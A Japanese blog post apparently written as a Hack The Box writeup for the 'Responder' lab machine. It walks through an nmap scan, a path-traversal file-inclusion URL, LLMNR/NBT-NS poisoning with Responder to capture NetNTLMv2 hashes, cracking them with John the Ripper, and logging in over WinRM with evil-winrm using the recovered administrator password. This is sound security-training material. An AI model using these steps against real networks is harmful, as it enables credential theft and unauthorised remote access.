2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【Responder】HTB Writeup的な

2
Posted at

早速本題に入りますか・・・

windowsは市場の85%程度の市場シェアを有している。

既知の脆弱性があるのにも関わらずNTLMはレガシークラアントやサーバーとの互換性維持のため、新規システムでも広く採用されている。しかし、最近ではKerberos認証が使われている。

どうやら本演習では、Windowsマシン上で稼働するwebページにファイルインクルード脆弱性があった。その脆弱性にどうやって攻撃するかを学ぶ。

大まかな流れ
Responderを使ってNetNTLMv2ハッシュをキャプチャする。
↓
John the Ripperでパスワード候補をブルートフォース(同時にハッシュと照合する、レインボーテーブル攻撃的な)
↓
照合し該当のパスワードが存在した場合乗っ取りに成功。

偵察

┌──(root㉿kali)-[~]
└─# nmap -p- --min-rate=1000 -sV 10.129.159.68
Starting Nmap 7.95 ( <https://nmap.org> ) at 2025-06-09 09:28 JST
Stats: 0:00:41 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 30.92% done; ETC: 09:30 (0:01:32 remaining)
Nmap scan report for 10.129.159.68
Host is up (0.17s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE    VERSION
80/tcp   open  http       Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
5985/tcp open  http       Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7680/tcp open  pando-pub?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 184.60 seconds

この事から対象マシンはWindowsを使っていて、ポート80番でApacheのwebサーバー、ポート5985でWinRMを使っている事がわかる。また、7680番ではpandoというファイル転送ソフトを使っているが多分ここでは関係ない。

WinRMとは、windows remote managementの略である。Microsoftが提供するネイティブのリモート管理プロトコルである。SOAPを使ってやり取りする。

ペンテストにおいては、リモート管理権限を持つユーザーの認証情報を入手できればPowerShellを乗っ取る可能性がある。

Webサイト探索

image.png

マシンのIPアドレスを直打ちし、Webサイトを訪問してみると・・・・
ページが見つからないと言われてしまった。

IPアドレスは合っているはず...。1つのIPアドレスに複数のドメインが紐づけられている。
名前ベースのバーチャルホストといえるのかな???

つまり、宛先のIPアドレスにマッピングされているドメインを全てlinux側に読み込ませたい。

etc/hostsについての解説記事

このファイルに宛先のIPアドレスに紐づけられているドメインを全て書き込めば辿り付けるのではないか...?

そうと決まればやってみる

echo "10.129.242.43 unika.htb" | sudo tee -a /etc/hosts

-a はappendオプションであり、追記を意味している。
これがないと上書きしてしまう。

teeコマンドは標準入力から受け取ったデータを標準出力にも表示し、同時にファイルにも操作をしている。

これでホスト名とIPアドレスの対応を書くことで、ローカルの名前解決設定(/etc/hosts)にエントリを追加する。

Webアプリケーションセキュリティ団体OWASPは、ファイルインクルードの仕組みを多用するWebアプリケーション言語であるPHPが、リモート・ファイル・インクルード に対して特に脆弱であると指摘しています。

ファイルインクルード脆弱性

phpのinclude()メソッドとは何?
外部ファイル化できる

File 1 --> vars.php

<?php

$color="green";
$fruit="apple";
?>

#########################

File 2 --> test.php
<?php

echo "A $color $fruit";// output="A"

include "vars.php";

echo "A $color $fruit"; //output="A green apple"

<http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts>

これでwindowsのhostsファイルの内容を取得でき、ファイルインクルージョンが可能であると確認できる。
これは、phpのinclude()関数に渡されたpageパラメータの検証が行われていない。

image.png

ここにローカル環境におけるipアドレスとドメインの対応関係が記述されている。

Responder Challenge Capture

そもそもResponderってなんだよという話になる。
このツール自体Windowsネットワーク上のLLMNR/NBT-NS プロトコルを悪用する Responder ツールを用いて NTLMv2 認証ハッシュをキャプチャする。

・LLMNR:DNSサーバーが名前解決に失敗したときにローカルネットワーク内で名前解決を行うプロトコル。

・NBT-NS:NetBIOS名を用いたホスト識別のためのプロトコルで、Windows環境で広く使われている。

偽造応答の仕組み
・クライアントがネットワークリソース名の解決要求をブロードキャストする。

・Responderはそれをキャプチャし、「私がそのリソースですよ!」と応答。

・クライアントは認証(Net-NTLMv2)を行い、そのハッシュをResponderに送信。

・Responderはハッシュを保存し、クライアントには「ホスト不在」のエラーを返す。

そうすることで被害者は「あれ?これって認証いらんのか」となる。


┌──(root㉿kali)-[~/Responder]
└─# python3 Responder.py -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

[*] Sponsor Responder: <https://paypal.me/PythonResponder>

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    MQTT server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]
    SNMP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.33]
    Responder IPv6             [dead:beef:2::101f]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']
    Don't Respond To MDNS TLD  ['_DOSVC']
    TTL for poisoned response  [default]

[+] Current Session Variables:
    Responder Machine Name     [WIN-NF8YDIWMSJJ]
    Responder Domain Name      [1LMT.LOCAL]
    Responder DCE-RPC Port     [45542]

[*] Version: Responder 3.1.6.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>

[+] Listening for events...

image.png

長くなるので省略するが、ここからイベントからハッシュ値を読み出した....。

ここからはハッシュクラッキングをする。

ここからjohn the ripperを使う。

john -w=/usr/share/wordlists/rockyou.txt hash.txt

ここから

パスワードはbadmintonとわかる。

最後にEvil-WinRMを使う。

なぜならwinRMにリクエストを送信するためだ。

evil-winrm -i <targetIP> -u administrator -p badminton

あとはファイルを探索するだけ

参考文献(参照日2025年6月9日)

・公式Writeup

https://e-words.jp/w/Kerberos.html#:~:text=概要,として普及している。

https://www.sompocybersecurity.com/column/glossary/ntlm#:~:text=NTLM(New Technology LAN Manager,に置き換えられています。

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?